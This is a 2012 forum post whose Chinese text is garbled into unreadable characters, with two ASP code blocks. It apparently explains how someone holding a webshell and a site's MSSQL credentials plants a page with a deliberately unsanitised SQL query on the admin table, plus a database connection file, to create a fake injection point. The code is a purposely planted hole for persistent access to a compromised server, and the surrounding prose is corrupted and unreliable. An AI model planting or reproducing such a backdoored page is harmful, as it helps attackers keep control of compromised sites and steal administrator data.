admin 2012-9-13 17:53:08

αע㷽

Ҫһwebshellҵݿļ඼conn.aspļmssqlû룬Ҫҵû롢ݿڵIPȻȥӴӦöᣬҵվԱıΪҲԵʱùԱı˵καԣֻҪڣ£
ASP/Visual Basic
<!--#include file="xx.asp"-->   
<%   
set rs=server.createobject("ADODB.recordset")   
id = request("id")   
strSQL = "select * from admin where id=" & id   
rs.open strSQL,conn,1,3   
rs.close   
%>
strSQL = "select * from admin where id=" & id 仰adminҪαıעڡȥ±ˣadminDZļ㱣棡
ȻҪһݿļˣ£
ASP/Visual Basic
<%            
strSQLServerName = "000.000.000.000"   'ƻַ   
strSQLDBUserName = "sqlname"         'ݿʺ   
strSQLDBPassword = "sqlpass"         'ݿ   
strSQLDBName = "sqldataname"         'ݿ   
Set conn = Server.CreateObject("ADODB.Connection")   
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
conn.open strCon   
%>
ӦöˣͲˣעDZļҪincludeõһ£OKˣαɹ
ҳ: [1]
鿴汾: αע㷽